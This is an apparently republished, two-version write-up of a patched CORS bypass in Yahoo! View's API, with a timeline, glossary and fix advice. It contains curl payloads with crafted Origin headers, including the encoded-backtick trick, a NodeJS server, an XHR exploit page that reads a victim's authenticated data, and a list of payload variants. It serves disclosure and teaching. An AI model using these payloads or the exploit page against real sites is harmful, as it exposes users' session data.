Tricky CORS Bypass in Yahoo! View
The Yahoo! View API reflected the Origin header in its CORS response with credentials allowed, and by using a specially crafted origin containing a URL-encoded backtick the attacker could make the API trust an attacker-controlled domain. An attacker could then read a victim's session preferences from the API.
Published on corben.io
Recently, HackerOne hosted their second Hack The World competition. During this time I decided to take a look at Yahoo's bug bounty program because I have heard good things about them and also due to the fact that their scope is pretty big.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Yahoo! View is a web property served at https://view.yahoo.com, and the front end talks to a separate API host, https://api.view.yahoo.com. The endpoint that matters here is /api/session/preferences, which returns the session's preferences as JSON. Because the API lives on a different origin from the page, the browser applies the Same-Origin Policy to any cross-origin read, and the API has to opt in with a CORS policy if it wants to allow the page to read the response.
The report was filed during HackerOne's second Hack The World competition, while the author was looking at Yahoo's bug bounty program. A few issues had already been found and paid for in my.yahoo.com before attention turned to Yahoo! View.
Setup
The only tooling described is Burp Suite, used to browse https://view.yahoo.com and to review the logged traffic, including its passive monitoring of CORS headers. The testing was done by clicking through the site and submitting forms, then reading through Burp's history. On the attacker side, the author controlled a domain with a wildcard DNS record set up in Route53, and later served an exploit page from a small NodeJS server. Browser testing covered Firefox, Chrome, IE, Edge and Safari; only Safari rendered the exploit origin as intended.
Finding it
After a couple of minutes of clicking everything clickable and submitting as many forms as possible, the Burp history showed the application making API calls to https://api.view.yahoo.com, and the passive scanner flagged a CORS policy on those responses. The initial request looked like this:
GET /api/session/preferences HTTP/1.1
Host: api.view.yahoo.com
------- snip -------
origin: https://view.yahoo.com
and the response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
------- snip -------
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://view.yahoo.com
The server reflected the Origin value back in Access-Control-Allow-Origin and set Access-Control-Allow-Credentials: true. That combination is the interesting one: if the reflected origin could be made to match an origin the attacker controls, the browser would let a page on that origin read authenticated API responses. The goal therefore became getting an arbitrary origin accepted by whatever check the server performed.
Exploitation
Step 1: a plain foreign origin
The first attempt was simply to send the author's own domain as the origin:
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://corben.io'
The server responded without the Allow-Origin and Allow-Credentials headers.
Step 2: the target name as a subdomain
Next, the target hostname was placed in front of the attacker domain as a subdomain:
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.corben.io'
Still nothing.
Step 3: the target name as a prefix
A second variant put the full target hostname at the start of the attacker domain:
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com.corben.io'
This also did not return Allow-Origin or Access-Control-Allow-Credentials.
Step 4: the target name concatenated without a dot
One more payload was tried, joining the two names directly:
Nothing changed.
Step 5: two domains in one origin header
About to give up, the author tried sending two domains in the Origin header, separated by a space:
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com corben.io'
The server answered:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
------- snip -------
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://view.yahoo.com corben.io
The whole value was reflected, space included. That is not a valid origin, so it was not yet exploitable, but it showed the check was satisfied by a value that merely contained the trusted hostname.
Step 6: replacing the space with a percent sign
To see how the server treated other separators, the space was replaced with a percent sign:
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com%corben.io'
Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
------- snip -------
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://view.yahoo.com%corben.io
Again the value was reflected, and again it was not a valid origin, so it could not be used from a browser.
Step 7: a URL-encoded backtick as the separator
After asking around, Matt Austin pointed the author to one of his HackerOne reports to Brave Software, which showed that a URL-encoded backtick (%60) is valid in a subdomain. Since the server had already reflected an origin containing a percent sign, the encoded backtick was used to join the trusted hostname to the attacker domain:
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com%60cdl.corben.io'
The server's response:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://view.yahoo.com%60cdl.corben.io
This time the reflected value was a syntactically valid origin: view.yahoo.com%60cdl.corben.io is a hostname under the attacker's control, with the trusted name as a label prefix. A wildcard record was set up on one of the author's domains in Route53, and http://view.yahoo.com%60cdl.hack-r.be was opened in Firefox. It did not load. Chrome, IE and Edge did not work either. On a Mac, Safari finally loaded it, but Apache kept returning a server error for the request.

Step 8: serving the exploit from NodeJS
Rather than fight Apache, a minimal NodeJS server was written to serve the exploit page. Contents of server.js:
const http = require("http");
const port = 6299;
const fs = require("fs");
const requestHandler = (request, response) => {
fs.readFile("index.html", function (err, data) {
response.writeHead(200, { "Content-Type": "text/html" });
response.write(data);
response.end();
});
};
const server = http.createServer(requestHandler);
server.listen(port, (err) => {
if (err) {
return console.log("[+] ruh roh! something went wrong :(", err);
}
console.log(`[+] server is listening on port ${port}`);
});
and the page itself:
<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body>
<center>
<h2>Yahoo CORs Exploit</h2>
<textarea rows="10" cols="60" id="pwnz">
</textarea>
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "http://api.view.yahoo.com/api/session/preferences", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
The page issues a cross-origin GET to the preferences endpoint with withCredentials = true, so the victim's cookies go with the request, and writes the response body into the textarea when the status is 200. The page was loaded again in Safari, this time from the NodeJS server, and it loaded perfectly. Clicking the "Exploit" button retrieved the data from the vulnerable API.
Here's the proof of concept video:
Root cause
The API reflected the request's Origin header into Access-Control-Allow-Origin and paired it with Access-Control-Allow-Credentials: true. The behaviour is consistent with a textual check for the trusted hostname rather than a comparison of the parsed origin against an allowlist, though the report does not describe the check. The tested origins whose text contained view.yahoo.com, such as https://view.yahoo.com corben.io and https://view.yahoo.com%corben.io, were reflected, neither of which is a valid origin. The encoded backtick made the same trick usable in a browser, because view.yahoo.com%60cdl.corben.io is a valid hostname that still contains the trusted string. The origin check therefore did not constrain the reflected value to the intended site.
Impact
With a victim visiting the attacker's page in a browser that accepts the crafted origin, the script can read authenticated responses from https://api.view.yahoo.com/api/session/preferences for that victim, because credentials are sent and the response is readable cross-origin. The author describes this as a low impact bug. The report does not enumerate what the preferences response contains or which other endpoints on the API share the behaviour.
Fix
The report records that the vulnerability was patched on 20 November 2017, but does not describe the change. A robust fix would be to parse the Origin header and compare the resulting origin exactly against an allowlist of trusted origins, rejecting values that are not valid origins.
Variants to test
- Send an origin that contains the trusted hostname as a prefix, suffix or infix, for example
https://view.yahoo.com.corben.io,https://view.corben.ioorhttps://view.yahoo.comcorben.io. A positive result is a response that echoes the value inAccess-Control-Allow-Origintogether withAccess-Control-Allow-Credentials: true. - Send two domains separated by a space, as in
https://view.yahoo.com corben.io. A positive result is the full string reflected back, which shows the check is textual rather than structural. - Replace the separator with a percent sign, as in
https://view.yahoo.com%corben.io. A positive result is reflection of the value, which suggests other encoded characters may also pass. - Use a URL-encoded backtick (
%60) to build a valid hostname under your control that still contains the trusted name, as inhttps://view.yahoo.com%60cdl.corben.io. A positive result is that value reflected inAccess-Control-Allow-Originwith credentials allowed, and the page loading in a browser that accepts the origin. - Test the same payloads against other API hosts in scope that set
Access-Control-Allow-Credentials: true, and check whether the reflected origin is honoured by different browsers, since the behaviour varied between Firefox, Chrome, IE, Edge and Safari here.
What happened, in plain words
A security researcher was taking part in a bug bounty competition run by HackerOne, called Hack The World. A bug bounty programme is a deal between a company and outside researchers: the company says which of its websites and services are fair game, and pays a reward (the bounty) to anyone who finds a real security problem and reports it privately instead of misusing it. Yahoo runs one of these programmes, and the researcher had already found a few problems in my.yahoo.com and been paid for them. He then turned his attention to a different Yahoo product, Yahoo! View.
Yahoo! View is a website at https://view.yahoo.com. Like many modern websites, the visible page is only half the story. The page itself is served from view.yahoo.com, but the data it shows (your preferences, lists of shows, and so on) is fetched from a second, separate computer called an API. API stands for Application Programming Interface; a simple way to picture it is a waiter in a restaurant. Your browser (the customer) does not walk into the kitchen; it asks the waiter for a specific dish, the waiter goes to the kitchen and comes back with it. Here the waiter is the API at https://api.view.yahoo.com, and the dishes are pieces of data, delivered in a format called JSON (a plain-text way of writing structured data, like a very tidy shopping list).
The problem the researcher found was in how that API decided which websites were allowed to read its answers. Browsers have a long-standing safety rule called the Same-Origin Policy. An "origin" is the combination of protocol (http or https), hostname and port; https://view.yahoo.com and https://api.view.yahoo.com are two different origins even though both belong to Yahoo. The Same-Origin Policy says that a page from one origin cannot use JavaScript to read data from another origin. That is a good default: it stops a random website you visit from quietly reading your email or your bank balance in another tab.
But sometimes a site genuinely wants to share data across origins, so browsers offer an official exception mechanism called CORS, Cross-Origin Resource Sharing. With CORS, the server can send special response headers that tell the browser "it is fine, this other site may read my answer". The two headers that matter here are Access-Control-Allow-Origin, which names the site that is allowed in, and Access-Control-Allow-Credentials, which says whether the request may carry the user's cookies. A cookie is a small piece of data the browser stores for a site and sends back with every request; it is how a website remembers that you are logged in. If a server says "any origin may read my answers, and cookies are allowed", then any website on the internet can read your logged-in data. That is the classic CORS misconfiguration, and it is what the researcher went looking for.
The researcher's goal was therefore simple to state: get the Yahoo API to believe that a website he controlled was a trusted Yahoo site, so that a victim's browser would hand over the victim's data to his page. He tried a series of increasingly clever values in the Origin header (the header a browser sends to say which site the request comes from), and eventually found one that the server accepted but that still pointed at a domain he owned. The rest of this article walks through each attempt in order, because the sequence is the lesson.
Setting up
The only tool mentioned for the discovery phase is Burp Suite, a program that sits between your browser and the internet and records every request and response. Think of it as a notebook that writes down every conversation your browser has, so you can read it afterwards. Burp also has a passive scanner: it does not attack anything, it just looks at the traffic going past and points out things that look interesting, such as CORS headers.
The researcher browsed https://view.yahoo.com, clicked everything clickable and submitted as many forms as he could, then read through Burp's history. That is a normal first step: you cannot test what you have not seen, so you map the site before you poke at it.
On the attacking side he needed two things. First, a domain he controlled, with a wildcard DNS record set up in Route53 (Amazon's DNS service). DNS is the internet's phone book: it turns a name like example.com into the address of a computer. A wildcard record means "any name under this domain, no matter what comes before the dot, points at my server". That matters later, because the exploit needs a hostname with a strange prefix, and a wildcard makes every such prefix work without setting each one up by hand. Second, he needed a small web server to host the malicious page. He first tried Apache (a very common web server program) and later switched to a tiny server written in NodeJS, a way of running JavaScript outside the browser.
He tested in Firefox, Chrome, Internet Explorer, Edge and Safari. Only Safari rendered the crafted origin the way he needed, which is an important practical point: browsers disagree about what counts as a valid hostname.
Finding it
After a couple of minutes of clicking and form-filling, the Burp history showed the page making calls to https://api.view.yahoo.com, and the passive scanner flagged a CORS policy on the responses. The first request looked like this:
GET /api/session/preferences HTTP/1.1
Host: api.view.yahoo.com
------- snip -------
origin: https://view.yahoo.com
Line by line:
GET /api/session/preferences HTTP/1.1is the request line.GETmeans "give me this";/api/session/preferencesis the address of the thing being asked for, here the stored preferences for the current session;HTTP/1.1is the version of the language being spoken.Host: api.view.yahoo.comsays which website on the server is being asked. One server can host many sites, so the request has to name the one it wants.------- snip -------is the author's marker meaning "I have removed some boring headers here".origin: https://view.yahoo.comis the header the browser adds automatically to say which page made the request. It is the browser's claim about where the request comes from.
The server's answer was:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
------- snip -------
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://view.yahoo.com
Line by line:
HTTP/1.1 200 OKis the status line.200is the standard code for "here is your answer, everything went fine".Content-Type: application/json; charset=utf-8tells the browser what kind of data is in the body: JSON text, encoded in UTF-8 (a standard way of representing characters).------- snip -------again marks removed headers.Access-Control-Allow-Credentials: truesays the request may carry cookies, and the response may be read by the allowed site even though it is personalised.Access-Control-Allow-Origin: https://view.yahoo.comnames the one site allowed to read the answer.
On its own this is correct behaviour: the API is telling the browser that the Yahoo! View page may read the preferences. The danger is in the word "reflected". The server copied the request's Origin header value into its answer, at least for values containing the trusted hostname. If the researcher could make that copied value be a site he controlled, the browser would let his page read the victim's preferences. So the whole game became: find an Origin value that the server's check accepts, but that a browser will treat as the attacker's own site.
Exploitation
Step 1: a plain foreign origin
The first attempt was the obvious one: claim to be the researcher's own domain.
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://corben.io'
Line by line:
curlis a command-line tool for making web requests by hand, without a browser. It lets you set headers exactly as you like, which a browser will not let you do.-vvmeans "very verbose": print the whole conversation, including the response headers, so you can see what came back.'http://api.view.yahoo.com/api/session/preferences'is the address being requested.-H 'origin: https://corben.io'adds a header namedoriginwith the valuehttps://corben.io. This is the researcher pretending to be a page on his own site.
The server answered without the Allow-Origin and Allow-Credentials headers. In other words, the check rejected the foreign site, which is exactly what it should do. This step is the control: it shows the server does have some kind of check, and gives a baseline to compare later attempts against.
Step 2: the target name as a subdomain
Next he put the trusted name in front of his own domain, as a subdomain:
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.corben.io'
Line by line:
- The command is the same as before; only the header value changed.
https://view.corben.iois a hostname the researcher controls (because of the wildcard DNS), but it starts with the wordview. The idea is to test whether the server is doing a sloppy text match, looking for the wordviewrather than the full trusted name.
Still nothing. So the check was not that sloppy, at least not for a single word.
Step 3: the target name as a prefix
A second variant put the full trusted hostname at the start of the attacker domain:
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com.corben.io'
Line by line:
https://view.yahoo.com.corben.iois a hostname the researcher controls. Read it from right to left, as DNS does: it is a machine calledviewinsideyahooinsidecominsidecorbeninsideio. The trusted name appears at the start, but the actual owner iscorben.io.
This also did not return Allow-Origin or Access-Control-Allow-Credentials. So the server was not simply checking whether the value started with the trusted name either.
Step 4: the target name concatenated without a dot
One more payload joined the two names directly, with no dot between them:
Line by line:
https://view.yahoo.comcorben.iois a single hostname in which the trusted name is glued to the attacker's name. It is a different kind of test: not a prefix, not a subdomain, just a string that contains the trusted text.
Nothing changed. At this point the obvious tricks were exhausted, and the researcher was close to giving up.
Step 5: two domains in one origin header
Then he tried something a browser would never send: two domains in the Origin header, separated by a space.
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com corben.io'
Line by line:
- The header value is now
https://view.yahoo.com corben.io, with a literal space in the middle. A real browser would never produce this, because an origin is a single site. Butcurllets you send anything, and that is the point: you are testing the server's logic, not the browser's.
The server answered:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
------- snip -------
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://view.yahoo.com corben.io
Line by line:
- The status and content type are the same as before: a normal, successful answer.
Access-Control-Allow-Credentials: trueis back, so cookies are allowed.Access-Control-Allow-Origin: https://view.yahoo.com corben.iois the whole value, space included, copied straight back.
This is the key observation. The server did not reject the value; it echoed it. That means the check was satisfied by a string that merely contained the trusted hostname somewhere inside it. The value is not a valid origin, so a browser would not accept it, and it is not yet exploitable. But it proves the check is textual, not structural: the server is looking for the trusted name as a substring, not comparing a parsed origin against a list.
Step 6: replacing the space with a percent sign
To see how the server treated other separators, he replaced the space with a percent sign:
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com%corben.io'
Line by line:
%is the character used in URLs to start an encoded character (for example%20means a space). Here it is sent on its own, which is not a valid encoding, but the server does not know that yet.- The value is
https://view.yahoo.com%corben.io: the trusted name, a percent sign, then the attacker's name.
Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
------- snip -------
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://view.yahoo.com%corben.io
Line by line:
- Again a normal
200answer with credentials allowed. - Again the whole value is reflected, percent sign and all.
So the server was happy with a percent sign as a separator too. That is useful information: it suggests the check is not about the separator at all, only about the presence of the trusted text. But view.yahoo.com%corben.io is still not a valid hostname, so a browser would still refuse it.
Step 7: a URL-encoded backtick as the separator
This is where outside help arrived. The researcher asked around, and Matt Austin pointed him to one of his own HackerOne reports to Brave Software. That report showed that a URL-encoded backtick, written %60, is valid inside a subdomain. A backtick is the ` character, the small slanted mark often found on the key to the left of the number 1. Because the server had already accepted a percent sign in the origin, the encoded backtick was the obvious next thing to try:
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com%60cdl.corben.io'
Line by line:
%60is the URL encoding of the backtick character.- The value is
https://view.yahoo.com%60cdl.corben.io: the trusted name, then%60, thencdl.corben.io, which is a name the researcher controls. - The idea is that the server will see the trusted text and accept it, while the browser will decode
%60into a backtick and treat the whole thing as a hostname undercorben.io.
The server's response:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://view.yahoo.com%60cdl.corben.io
Line by line:
Access-Control-Allow-Credentials: truemeans cookies are still allowed.Access-Control-Allow-Origin: http://view.yahoo.com%60cdl.corben.iois the reflected value. Note that the scheme here ishttp, nothttps; the report shows it exactly like this.
This time the reflected value is a syntactically valid origin. view.yahoo.com%60cdl.corben.io is a hostname under the researcher's control, with the trusted name sitting in front of it as a label. The server's substring check is satisfied, and the browser's parser sees a real site owned by the attacker. That is the bypass.
He set up a wildcard record on one of his domains in Route53 and opened http://view.yahoo.com%60cdl.hack-r.be in Firefox. It did not load. Chrome, IE and Edge did not work either. On a Mac, Safari finally loaded it, but Apache kept returning a server error for the request.

The image relates to the Apache server error encountered when the crafted origin was requested.
Step 8: serving the exploit from NodeJS
Rather than fight Apache, he wrote a minimal NodeJS server to serve the exploit page. Contents of server.js:
const http = require("http");
const port = 6299;
const fs = require("fs");
const requestHandler = (request, response) => {
fs.readFile("index.html", function (err, data) {
response.writeHead(200, { "Content-Type": "text/html" });
response.write(data);
response.end();
});
};
const server = http.createServer(requestHandler);
server.listen(port, (err) => {
if (err) {
return console.log("[+] ruh roh! something went wrong :(", err);
}
console.log(`[+] server is listening on port ${port}`);
});
Line by line:
const http = require("http");loads Node's built-in HTTP module, the part that knows how to speak to browsers.const port = 6299;picks the numbered door on the computer that the server will listen on. A port is like an extension number on a phone line: one machine can run many services, each on its own port.const fs = require("fs");loads the file system module, so the server can read a file from disk.const requestHandler = (request, response) => {starts a function that runs every time a request arrives.requestis what the visitor asked for;responseis what will be sent back.fs.readFile("index.html", function (err, data) {reads the fileindex.htmlfrom the same folder. When it is done, the inner function runs with any error and the file's contents.response.writeHead(200, { "Content-Type": "text/html" });sends the status line and headers:200for success, and a content type saying the body is HTML, the language of web pages.response.write(data);sends the file's contents as the body.response.end();closes the response, telling the browser there is nothing more coming.};closes the handler function.const server = http.createServer(requestHandler);creates the server and tells it to use that handler for every request.server.listen(port, (err) => {starts listening on port 6299. The inner function runs once the server has started, or if it failed.if (err) {checks whether starting failed.return console.log("[+] ruh roh! something went wrong :(", err);prints an error message and stops.}closes the error check.console.log([+] server is listening on port ${port});prints a friendly message saying the server is up.});closes the listen call.
And the page itself:
<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body>
<center>
<h2>Yahoo CORs Exploit</h2>
<textarea rows="10" cols="60" id="pwnz">
</textarea>
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "http://api.view.yahoo.com/api/session/preferences", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
Line by line:
<!DOCTYPE html>tells the browser this is an HTML5 page.<html>opens the page;<head><title>CORS</title></head>sets the tab title to "CORS".<body>starts the visible part.<center>centres what follows (an old-fashioned but harmless tag).<h2>Yahoo CORs Exploit</h2>is the heading shown on the page.<textarea rows="10" cols="60" id="pwnz">creates a ten-line, sixty-column text box with the identifierpwnz, so the script can find it later. This is where the stolen data will appear.</textarea>closes the text box.<button type="button" onclick="cors()">Exploit</button>creates a button labelled "Exploit". When clicked, it runs the function namedcors.</div>closes a container that was never opened; browsers tolerate this kind of small mistake.<script>starts the JavaScript.function cors() {defines the function that the button calls.var xhttp = new XMLHttpRequest();creates an XMLHttpRequest, the browser object that sends requests from JavaScript without reloading the page.xhttp.onreadystatechange = function() {sets a function to run every time the request's state changes.if (this.readyState == 4 && this.status == 200) {checks that the request is finished (4) and that the server answered successfully (200).document.getElementById("pwnz").innerHTML = this.responseText;finds the text box and puts the server's answer into it, so the attacker can read it on screen.}closes the check;};closes the state-change function.xhttp.open("GET", "http://api.view.yahoo.com/api/session/preferences", true);prepares aGETrequest to the preferences endpoint. Thetruemeans "do it in the background, do not freeze the page".xhttp.withCredentials = true;is the crucial line: it tells the browser to include the victim's cookies with the request. Without it, the API would see an anonymous visitor.xhttp.send();actually sends the request.}closes the function;</script>ends the script.
So the page does one thing: when the victim clicks the button, it asks the Yahoo API for the victim's preferences, with the victim's cookies attached, and writes the answer into the text box. The browser only allows the answer to be read because the API has said, via CORS, that this origin is allowed.
He loaded the page again in Safari, this time from the NodeJS server, and it loaded perfectly. Clicking the "Exploit" button retrieved the data from the vulnerable API.
Here's the proof of concept video:
Root cause
The API copied the request's Origin header into Access-Control-Allow-Origin and paired it with Access-Control-Allow-Credentials: true. The behaviour is consistent with a textual check for the trusted hostname rather than a comparison of the parsed origin against an allowlist, though the report does not describe the check. The tested origins whose text contained view.yahoo.com, such as https://view.yahoo.com corben.io and https://view.yahoo.com%corben.io, were reflected, neither of which is a valid origin. The encoded backtick made the same trick usable in a browser, because view.yahoo.com%60cdl.corben.io is a valid hostname that still contains the trusted string. The origin check therefore did not constrain the reflected value to the intended site.
In everyday terms: the bouncer at the door was checking whether your name badge contained the word "Yahoo", not whether you actually worked there. A badge reading "Yahoo, honestly, and also this other person" got you in.
Impact
With a victim visiting the attacker's page in a browser that accepts the crafted origin, the script can read authenticated responses from https://api.view.yahoo.com/api/session/preferences for that victim, because credentials are sent and the response is readable cross-origin. The author describes this as a low impact bug. The report does not enumerate what the preferences response contains or which other endpoints on the API share the behaviour.
Fix
The report records that the vulnerability was patched on 20 November 2017, but does not describe the change. A robust fix would be to parse the Origin header and compare the resulting origin exactly against an allowlist of trusted origins, rejecting values that are not valid origins.
Variants to test
- Send an origin that contains the trusted hostname as a prefix, suffix or infix, for example
https://view.yahoo.com.corben.io,https://view.corben.ioorhttps://view.yahoo.comcorben.io. A positive result is a response that echoes the value inAccess-Control-Allow-Origintogether withAccess-Control-Allow-Credentials: true. - Send two domains separated by a space, as in
https://view.yahoo.com corben.io. A positive result is the full string reflected back, which shows the check is textual rather than structural. - Replace the separator with a percent sign, as in
https://view.yahoo.com%corben.io. A positive result is reflection of the value, which suggests other encoded characters may also pass. - Use a URL-encoded backtick (
%60) to build a valid hostname under your control that still contains the trusted name, as inhttps://view.yahoo.com%60cdl.corben.io. A positive result is that value reflected inAccess-Control-Allow-Originwith credentials allowed, and the page loading in a browser that accepts the origin. - Test the same payloads against other API hosts in scope that set
Access-Control-Allow-Credentials: true, and check whether the reflected origin is honoured by different browsers, since the behaviour varied between Firefox, Chrome, IE, Edge and Safari here.
Timeline
- 24 October 2017: reported to Yahoo! via HackerOne.
- 27 October 2017: confirmed and awarded $100 on triage.
- 20 November 2017: vulnerability patched.
- 1 December 2017: awarded a $400 bounty and a $100 bonus for a "great writeup and POC".
Glossary
- API: a separate service that a website asks for data, like a waiter carrying orders between the page and the kitchen.
- Bug bounty programme: a scheme where a company pays outside researchers for reporting security problems privately.
- Burp Suite: a tool that sits between the browser and the internet and records every request and response.
- CORS (Cross-Origin Resource Sharing): a set of response headers that let a server give specific other sites permission to read its answers.
- Cookie: a small piece of data stored by the browser for a site and sent back with each request, commonly used to keep you logged in.
- Credentials: in this context, the cookies that identify a logged-in user.
- curl: a command-line tool for sending web requests by hand, with any headers you choose.
- DNS: the internet's phone book, turning names like
example.cominto the address of a computer. - Endpoint: a specific address on a server that does a specific job, such as
/api/session/preferences. - Header: a line of extra information sent with a web request or response, such as
OriginorContent-Type. - Hostname: the name of a computer on the internet, such as
view.yahoo.com. - HTTP status code: a number in the response saying how it went, such as
200for success. - JSON: a plain-text format for structured data, like a tidy shopping list.
- NodeJS: a way of running JavaScript outside the browser, often used for small servers.
- Origin: the combination of protocol, hostname and port, such as
https://view.yahoo.com. - Origin header: the header a browser adds to say which page made a request.
- Port: a numbered door on a computer, so one machine can run several services.
- Reflection: when a server copies a value from the request straight into its response.
- Route53: Amazon's DNS service, used here to point every name under a domain at one server.
- Same-Origin Policy: the browser rule that a page from one origin cannot read data from another origin.
- Subdomain: a name placed in front of a domain, such as
viewinview.yahoo.com. - URL encoding: writing special characters as a percent sign plus a code, such as
%60for a backtick. - Wildcard DNS record: a DNS entry that makes every name under a domain point at the same server.
- XMLHttpRequest: the browser object that JavaScript uses to send requests without reloading the page.